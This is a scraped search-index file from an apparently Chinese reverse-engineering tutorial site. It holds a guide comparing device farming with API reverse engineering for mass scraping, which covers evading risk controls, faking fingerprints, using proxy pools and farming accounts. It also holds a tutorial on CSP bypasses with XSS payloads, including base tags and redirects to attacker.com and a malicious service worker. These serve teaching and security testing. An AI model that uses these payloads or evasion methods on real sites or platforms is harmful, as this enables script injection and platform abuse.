┌─────────────────────────────────────────────────────────┐ │ API 逆向架构 │ ├─────────────────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────────┐ ┌───────────┐ │ │ │ 逆向分析 │ ──► │ 算法还原 │ ──► │ 签名生成 │ │ │ │ (研究) │ │ (实现) │ │ (模块) │ │ │ └──────────┘ └──────────────┘ └─────┬─────┘ │ │ │ │ │ ┌──────────┐ ┌──────────────┐ ┌─────▼─────┐ │ │ │ 数据存储 │ ◄── │ 响应解析 │ ◄── │ HTTP 请求 │ │ │ │ (结果) │ │ (处理) │ │ (发送) │ │ │ └──────────┘ └──────────────┘ └───────────┘ │ │ │ └─────────────────────────────────────────────────────────┘ 典型实现： Frida Hook + 算法分析 SO 层签名还原 Unidbg 模拟执行 协议完全重放 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:1:2","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#api-逆向"},{"categories":null,"collections":null,"content":"多维度对比 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:2:0","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#多维度对比"},{"categories":null,"collections":null,"content":"1. 开发成本 维度 群控技术 API 逆向 技术门槛 低 - UI 自动化脚本 高 - 逆向工程能力 初期投入 中等 - 设备采购/云服务 高 - 人力时间成本 开发周期 短 - 数天可出原型 长 - 数周甚至数月 技术栈 Python + ADB + 图像识别 逆向 + 密码学 + 协议分析 结论：群控开发门槛低、见效快；API 逆向需要专业技能和更多时间。 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:2:1","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#1-开发成本"},{"categories":null,"collections":null,"content":"2. 运维成本 维度 群控技术 API 逆向 硬件成本 高 - 设备/云手机费用 低 - 普通服务器即可 账号成本 高 - 需大量账号 低 - 可复用 Token 带宽成本 高 - 完整 App 流量 低 - 仅 API 请求 人力运维 高 - 设备故障、账号封禁 中 - 算法更新维护 结论：群控的长期运维成本远高于 API 逆向。 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:2:2","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#2-运维成本"},{"categories":null,"collections":null,"content":"3. 性能与并发 维度 群控技术 API 逆向 单机并发 低 - 受设备数限制 高 - 数千 QPS 扩展性 线性增长（加设备） 弹性扩展 响应延迟 高 - UI 渲染耗时 低 - 毫秒级 资源利用 低效 - 大量资源闲置 高效 结论：高并发场景下，API 逆向有压倒性优势。 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:2:3","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#3-性能与并发"},{"categories":null,"collections":null,"content":"4. 反检测能力 维度 群控技术 API 逆向 环境真实性 高 - 真实 App 运行 低 - 模拟请求 设备指纹 真实 - 无需伪造 需要伪造完整指纹 行为模式 自然 - 真实交互 需要模拟行为特征 TLS 指纹 原生 需要处理 JA3/JA4 风控对抗 容易 困难 结论：面对复杂风控，群控的真实环境优势明显。 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:2:4","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#4-反检测能力"},{"categories":null,"collections":null,"content":"5. 稳定性与维护 维度 群控技术 API 逆向 App 更新影响 低 - UI 变化可适配 高 - 算法变化需重新逆向 版本兼容 自动兼容新版本 需持续跟进更新 故障类型 设备故障、账号封禁 签名失效、协议变更 恢复难度 低 - 更换设备/账号 高 - 重新分析算法 结论：群控对 App 更新更具韧性；API 逆向需要持续维护。 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:2:5","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#5-稳定性与维护"},{"categories":null,"collections":null,"content":"场景适用性分析 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:3:0","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#场景适用性分析"},{"categories":null,"collections":null,"content":"适合群控技术的场景 # 场景特征 scenarios_for_device_farming = { \"强风控应用\": \"风控严格，API 难以绕过\", \"复杂交互流程\": \"需要完成复杂的 UI 操作链\", \"低并发需求\": \"日采集量在万级以下\", \"快速上线\": \"时间紧迫，无暇深入逆向\", \"动态内容\": \"页面内容需要 JS 渲染\", \"账号行为养成\": \"需要模拟真实用户行为\", } # 典型应用 examples = [ \"社交平台养号\", \"电商平台抢购\", \"游戏自动化脚本\", \"短视频互动操作\", \"App 功能测试\", ] ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:3:1","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#适合群控技术的场景"},{"categories":null,"collections":null,"content":"适合 API 逆向的场景 # 场景特征 scenarios_for_api_reverse = { \"高并发需求\": \"日采集量在百万级以上\", \"数据密集型\": \"需要批量获取结构化数据\", \"成本敏感\": \"无法承受大量设备/账号成本\", \"实时性要求\": \"需要毫秒级响应\", \"长期运营\": \"项目周期长，值得投入逆向成本\", \"协议相对稳定\": \"App 更新频率低\", } # 典型应用 examples = [ \"商品价格监控\", \"内容数据采集\", \"舆情监测分析\", \"竞品数据分析\", \"API 服务封装\", ] ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:3:2","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#适合-api-逆向的场景"},{"categories":null,"collections":null,"content":"混合方案 在实际项目中，两种技术常常组合使用： ┌─────────────────────────────────────────────────────────────┐ │ 混合架构 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────────────────────────────────────────┐ │ │ │ API 逆向层 │ │ │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ │ │ 数据采集 │ │ 内容获取 │ │ 搜索查询 │ ← 高并发 │ │ │ │ └─────────┘ └─────────┘ └─────────┘ │ │ │ └───────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌───────────────────────────────────────────────────┐ │ │ │ 群控层 │ │ │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ │ │ 登录获取 │ │ Token刷新│ │ 复杂交互 │ ← 真实环境 │ │ │ │ │ Cookie │ │ │ │ │ │ │ │ │ └─────────┘ └─────────┘ └─────────┘ │ │ │ └───────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ 混合策略示例： 登录环节用群控：获取 Cookie/Token，绕过登录风控 数据采集用 API：高效批量获取数据 关键操作用群控：下单、支付等敏感操作 Token 失效时群控刷新：保持会话活跃 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:3:3","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#混合方案"},{"categories":null,"collections":null,"content":"技术选型决策树 ┌─────────────────┐ │ 开始技术选型 │ └────────┬────────┘ │ ┌────────▼────────┐ │ 日采集量 \u003e 10万? │ └────────┬────────┘ │ ┌──────────────┴──────────────┐ │ 是 │ 否 ▼ ▼ ┌─────────────────┐ ┌─────────────────┐ │ 风控是否严格? │ │ 需要复杂交互? │ └────────┬────────┘ └────────┬────────┘ │ │ ┌────────┴────────┐ ┌────────┴────────┐ │ 是 │ 否 │ 是 │ 否 ▼ ▼ ▼ ▼ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ │ 混合方案│ │API 逆向│ │ 群控 │ │API 逆向│ └────────┘ └────────┘ └────────┘ └────────┘ ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:4:0","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#技术选型决策树"},{"categories":null,"collections":null,"content":"成本估算参考 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:5:0","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#成本估算参考"},{"categories":null,"collections":null,"content":"群控方案成本 (月度) 项目 规模 成本估算 云手机 100 台 ¥3,000 - 8,000 代理 IP 动态代理池 ¥1,000 - 3,000 账号 1000 个 ¥500 - 5,000 服务器 调度+存储 ¥500 - 1,000 人力 运维 0.5 人 ¥5,000 - 10,000 合计 ¥10,000 - 27,000/月 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:5:1","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#群控方案成本-月度"},{"categories":null,"collections":null,"content":"API 逆向方案成本 (月度) 项目 规模 成本估算 服务器 2-4 核 ¥200 - 500 代理 IP 按需 ¥500 - 2,000 人力 开发 0.2 人 + 维护 ¥2,000 - 5,000 合计 ¥2,700 - 7,500/月 注意：API 逆向有较高的一次性开发成本 (可能需要 1-3 人月)，但长期运营成本更低。 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:5:2","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#api-逆向方案成本-月度"},{"categories":null,"collections":null,"content":"风险对比 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:6:0","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#风险对比"},{"categories":null,"collections":null,"content":"群控技术风险 风险类型 描述 应对策略 账号封禁 批量操作易被识别 控制频率、模拟人工 设备检测 同一设备多账号 每设备单账号 IP 风控 同 IP 多设备 使用代理池 成本失控 规模扩大成本线性增长 设置成本上限 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:6:1","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#群控技术风险"},{"categories":null,"collections":null,"content":"API 逆向风险 风险类型 描述 应对策略 算法更新 App 更新后签名失效 持续监控、快速响应 协议加固 增加新的校验维度 保持逆向能力 法律风险 绕过技术保护措施 合规评估 指纹检测 TLS/设备指纹识别 完善指纹模拟 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:6:2","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#api-逆向风险"},{"categories":null,"collections":null,"content":"总结 维度 群控技术 API 逆向 胜出方 开发门槛 低 高 群控 开发周期 短 长 群控 运维成本 高 低 API 并发能力 低 高 API 反检测 强 弱 群控 稳定性 中 中 平局 扩展性 差 好 API 最终建议： 短期项目、强风控 → 群控技术 长期项目、高并发 → API 逆向 复杂场景 → 混合方案 选择技术路线时，需综合考虑： 项目周期和预算 目标 App 的风控强度 团队的技术能力 数据量级和实时性要求 没有绝对最优的方案，只有最适合当前场景的选择。 ","date":"2025-03-01","objectID":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/:7:0","tags":["大数据","签名验证","Frida","代理池","电商","加密分析"],"title":"群控技术 vs API 逆向：技术路线选择指南","uri":"/reverse_engineering/android/04-reference/engineering/automation_vs_api_reverse/#总结"},{"categories":null,"collections":null,"content":"CSP 绕过技术 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:0:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#csp-绕过技术"},{"categories":null,"collections":null,"content":"概述 内容安全策略 (Content Security Policy, CSP) 是一种重要的 Web 安全机制，用于防御 XSS 和数据注入攻击。然而，配置不当的 CSP 可能被绕过。本文介绍 CSP 的工作原理以及常见的绕过技术。 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:1:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 CORS 与同源策略 必需 CORS 与同源策略 HTTP/HTTPS 协议 必需 HTTP/HTTPS 协议 JavaScript 基础 必需 JavaScript 基础 Chrome DevTools 推荐 浏览器开发者工具 💡 提示: CSP 是 Web 安全的重要防线。理解 CSP 的绕过技术有助于安全测试和漏洞挖掘，同时也帮助理解目标网站的安全配置。 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:2:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#-前置知识"},{"categories":null,"collections":null,"content":"基础概念 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:3:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#基础概念"},{"categories":null,"collections":null,"content":"定义 CSP (Content Security Policy) 是一个额外的安全层，通过 HTTP 响应头或 meta 标签指定浏览器可以从哪些来源加载资源。它是一种白名单机制，能有效减少 XSS 攻击面。 基本语法: Content-Security-Policy: directive source; directive source 常见指令: default-src: 默认策略 script-src: JavaScript 来源 style-src: CSS 来源 img-src: 图片来源 connect-src: XMLHttpRequest、WebSocket 等连接来源 font-src: 字体来源 object-src: \u003cobject\u003e, \u003cembed\u003e, \u003capplet\u003e 来源 media-src: \u003caudio\u003e, \u003cvideo\u003e 来源 frame-src: 框架来源 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:3:1","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#定义"},{"categories":null,"collections":null,"content":"核心原理 CSP 工作流程 服务器发送 CSP 头部 浏览器解析策略 浏览器检查每个资源加载请求 违反策略的请求被阻止 违规报告（如配置了 report-uri） CSP 级别 CSP Level 1 (2012): 基础指令，白名单机制 CSP Level 2 (2015): 添加 nonce 和 hash，更多指令 CSP Level 3 (草案): strict-dynamic，unsafe-hashes 等 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:3:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#核心原理"},{"categories":null,"collections":null,"content":"核心原理 CSP 工作流程 服务器发送 CSP 头部 浏览器解析策略 浏览器检查每个资源加载请求 违反策略的请求被阻止 违规报告（如配置了 report-uri） CSP 级别 CSP Level 1 (2012): 基础指令，白名单机制 CSP Level 2 (2015): 添加 nonce 和 hash，更多指令 CSP Level 3 (草案): strict-dynamic，unsafe-hashes 等 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:3:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#csp-工作流程"},{"categories":null,"collections":null,"content":"核心原理 CSP 工作流程 服务器发送 CSP 头部 浏览器解析策略 浏览器检查每个资源加载请求 违反策略的请求被阻止 违规报告（如配置了 report-uri） CSP 级别 CSP Level 1 (2012): 基础指令，白名单机制 CSP Level 2 (2015): 添加 nonce 和 hash，更多指令 CSP Level 3 (草案): strict-dynamic，unsafe-hashes 等 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:3:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#csp-级别"},{"categories":null,"collections":null,"content":"详细内容 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:0","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#详细内容"},{"categories":null,"collections":null,"content":"CSP 配置示例 严格 CSP (推荐) Content-Security-Policy: default-src 'none'; script-src 'nonce-random123' 'strict-dynamic'; style-src 'nonce-random456'; img-src 'self' https:; font-src 'self'; connect-src 'self'; base-uri 'none'; form-action 'self'; 宽松 CSP (易受攻击) Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.example.com; ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:1","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#csp-配置示例"},{"categories":null,"collections":null,"content":"CSP 配置示例 严格 CSP (推荐) Content-Security-Policy: default-src 'none'; script-src 'nonce-random123' 'strict-dynamic'; style-src 'nonce-random456'; img-src 'self' https:; font-src 'self'; connect-src 'self'; base-uri 'none'; form-action 'self'; 宽松 CSP (易受攻击) Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.example.com; ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:1","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#严格-csp-推荐"},{"categories":null,"collections":null,"content":"CSP 配置示例 严格 CSP (推荐) Content-Security-Policy: default-src 'none'; script-src 'nonce-random123' 'strict-dynamic'; style-src 'nonce-random456'; img-src 'self' https:; font-src 'self'; connect-src 'self'; base-uri 'none'; form-action 'self'; 宽松 CSP (易受攻击) Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.example.com; ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:1","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#宽松-csp-易受攻击"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: \u003c!-- 利用 CDN 上的 AngularJS --\u003e \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js\"\u003e\u003c/script\u003e \u003cdiv ng-app ng-csp\u003e{{ constructor.constructor('alert(1)')() }}\u003c/div\u003e \u003c!-- 利用 JSONP 端点 --\u003e \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js\"\u003e\u003c/script\u003e \u003cscript src=\"https://www.google.com/complete/search?client=chrome\u0026q=hello\u0026callback=alert\"\u003e\u003c/script\u003e 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: \u003c!-- unsafe-inline 允许内联脚本 --\u003e \u003cscript\u003e alert(document.domain); \u003c/script\u003e \u003c!-- unsafe-eval 允许 eval --\u003e \u003cscript\u003e eval(\"alert(1)\"); \u003c/script\u003e \u003cscript\u003e setTimeout(\"alert(1)\", 0); \u003c/script\u003e \u003cscript\u003e Function(\"alert(1)\")(); \u003c/script\u003e 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 \u003cbase\u003e 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: \u003c!-- 原始页面有相对路径脚本 --\u003e \u003c!-- \u003cscript src=\"/js/app.js\"\u003e\u003c/script\u003e --\u003e \u003c!-- 注入 base 标签 --\u003e \u003cbase href=\"https://attacker.com/\" /\u003e \u003c!-- 现在 /js/app.js 会从 https://attacker.com/js/app.js 加载 --\u003e 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: \u003c!-- 服务器使用固定或可预测的 nonce --\u003e \u003cscript nonce=\"abc123\" src=\"/static/app.js\"\u003e\u003c/script\u003e \u003c!-- 攻击者注入 --\u003e \u003cscript nonce=\"abc123\"\u003e alert(1); \u003c/script\u003e 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): \u003cdiv ng-app ng-csp\u003e{{ constructor.constructor('alert(1)')() }}\u003c/div\u003e 示例：Vue.js: \u003cdiv id=\"app\"\u003e{{ constructor.constructor('alert(1)')() }}\u003c/div\u003e \u003cscript src=\"https://cdn.jsdelivr.net/npm/vue@2\"\u003e\u003c/script\u003e \u003cscript\u003e new Vue({ el: \"#app\" }); \u003c/script\u003e 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: \u003c!-- 注入点 --\u003e \u003cinput value=\"[INJECTION]\"\u003e \u003c!-- 注入内容 --\u003e \u003cinput value=\"\u003cbase href='https://attacker.com/'\u003e \u003c!-- 后续所有相对链接将指向攻击者服务器 --\u003e 7. 利用 iframe 和 srcdoc 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: \u003ciframe srcdoc=\"\u003cscript\u003ealert(origin)\u003c/script\u003e\"\u003e\u003c/iframe\u003e 注意: srcdoc 继承父页面的 CSP，但某些浏览器实现有缺陷。 防御: 设置 frame-src 和 child-src 8. 利用重定向 如果白名单域名存在开放重定向漏洞： 易受攻击的配置: Content-Security-Policy: script-src 'self' https://trusted.com 绕过方法: \u003c!-- trusted.com 有开放重定向 --\u003e \u003cscript src=\"https://trusted.com/redirect?url=https://attacker.com/evil.js\"\u003e\u003c/script\u003e 9. 利用 data: URI 易受攻击的配置: Content-Security-Policy: script-src 'self' data: 绕过方法: \u003cscript src=\"data:text/javascript,alert(1)\"\u003e\u003c/script\u003e \u003cobject data=\"data:text/html,\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003e\u003c/object\u003e 防御: 避免在 script-src 中使用 data: 10. 利用 Service Worker Service Worker 可以拦截和修改网络请求。 绕过方法: // 注册恶意 Service Worker navigator.serviceWorker.register(\"/evil-sw.js\"); // evil-sw.js self.addEventListener(\"fetch\", (event) =\u003e { if (event.request.url.includes(\"legitimate.js\")) { event.respondWith(new Response(\"alert(1)\")); } }); 防御: 严格限制 Service Worker 的来源 ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#主要绕过技术"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#1-利用白名单-cdn"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#2-利用"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 常见可利用的库: AngularJS: 模板注入 jQuery: JSONP Prototype.js: DOM 注入 Google Analytics: _gaq.push 2. 利用 unsafe-inline 和 unsafe-eval 易受攻击的配置: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' 绕过方法: 3. Base 标签注入 如果 CSP 没有设置 base-uri，可以通过注入 标签劫持相对路径。 易受攻击的配置: Content-Security-Policy: script-src 'self' 绕过方法: 防御: 设置 base-uri 'none' 或 base-uri 'self' 4. 利用 Nonce 重用 如果同一个 nonce 在多个脚本中重用，攻击者可以注入使用相同 nonce 的脚本。 易受攻击的代码: 防御: 每个请求生成随机 nonce 5. 利用 Script Gadgets 某些框架或库提供的功能可以被滥用来执行代码。 示例：AngularJS (CSP 模式): {{ constructor.constructor('alert(1)')() }} 示例：Vue.js: {{ constructor.constructor('alert(1)')() }} 6. 利用 Dangling Markup 通过不闭合标签来\"吸收\"后续内容。 示例: ","date":"2025-02-27","objectID":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/:4:2","tags":["Web","WebAssembly","进阶","指纹","反混淆"],"title":"CSP 绕过技术","uri":"/reverse_engineering/web/04-advanced-recipes/csp_bypass/#3-base-标签注入"},{"categories":null,"collections":null,"content":"主要绕过技术 1. 利用白名单 CDN 如果 CSP 允许某些 CDN，攻击者可以寻找该 CDN 上的可利用脚本。 易受攻击的配置: Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com 绕过方法: {{ constructor.constructor('alert(1)')() }} 